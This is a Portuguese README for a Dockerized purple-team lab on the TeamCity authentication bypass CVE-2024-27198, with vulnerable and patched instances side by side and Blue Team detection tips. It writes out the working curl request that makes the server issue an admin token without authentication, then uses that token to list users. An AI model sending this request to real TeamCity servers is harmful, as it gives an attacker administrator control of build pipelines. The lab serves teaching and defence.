Laboratório para o CVE-2024-27198
Laboratório de Pesquisa de Vulnerabilidades e Demonstração de Purple Team para o Bypass de Autenticação do JetBrains TeamCity (CVE-2024-27198)
O TeamCity fornece uma página exclusiva para administradores para gerenciamento de tokens que não é protegida por autenticação. Isso permite que um usuário não autenticado gere um token de acesso para o usuário administrador, caso consiga encontrar o ID de um usuário existente.
Este repositório contém um laboratório Dockerizado completo e reproduzível, com ambientes TeamCity vulnerável (:8111) e corrigido (:8112), scripts automatizados de exploração (exploit.py), tutoriais de caça a logs para o Blue Team e um simulador de eventos SIEM ao vivo (siem_simulator.py).
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
A vulnerabilidade está no mecanismo de roteamento da API REST. Ao anexar caracteres específicos (como ?jsp=/app/rest/...;.jsp) a um endpoint não autenticado, os atacantes podem enganar o servidor web do TeamCity para que encaminhe a requisição a um endpoint autenticado, contornando os filtros de segurança. Isso não exige nenhum conhecimento ou acesso prévio, tornando-a um CVSS puro de 9.8.
Para obter uma cópia local deste laboratório e colocá-la em funcionamento, siga estes passos de exemplo simples.
curlgit clone [email protected]:cmpnn-romain/CVE-2024-27198_Lab.git
cd CVE-2024-27198_Lab
docker compose up -d
Nome de usuário:
admin
Senha:
admin
Requisição GET para um recurso sem autenticação:
curl -i http://localhost:8111/app/rest/users
curl -i http://localhost:8112/app/rest/users
Ambos devem retornar um erro com o código de status 401.
curl -X POST -H "Content-Type: application/json" \
"http://localhost:8111/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
Isto deve retornar um token como este (o token é diferente a cada vez):
eyJ0eXAiOiAiVENWMiJ9.T1AzMHJjY3piNC1QWDlFenpnLXdCUkRuSF84.ZmJlODg3ZDQtNjFmYy00ZGQxLTk2MDAtYmJlYjViZjE4NGFi
curl -X POST -H "Content-Type: application/json" \
"http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
Isso deve retornar um erro com código de status 401 porque a instância corrigida não possui a vulnerabilidade.
curl -i -H "Authorization: Bearer <TOKEN>" \
http://localhost:8111/app/rest/users
Deve retornar a lista de usuários.
Durante a demonstração no laboratório, você pode mostrar uma descoberta massiva para o Blue Team: por padrão, esta vulnerabilidade é incrivelmente furtiva!
;.jsp não são registradas.Então, como podemos detectar isso? Quando o atacante apaga seus rastros! Quando o atacante exclui seu token malicioso para se esconder, o TeamCity registra essa ação.
Encontre o atacante apagando seus rastros nos logs de auditoria:
docker exec teamcity-vulnerable grep "delete_token" /opt/teamcity/logs/teamcity-activities.log
(Você verá uma entrada de log indicando que o token "REDTEAM" foi excluído).
docker compose down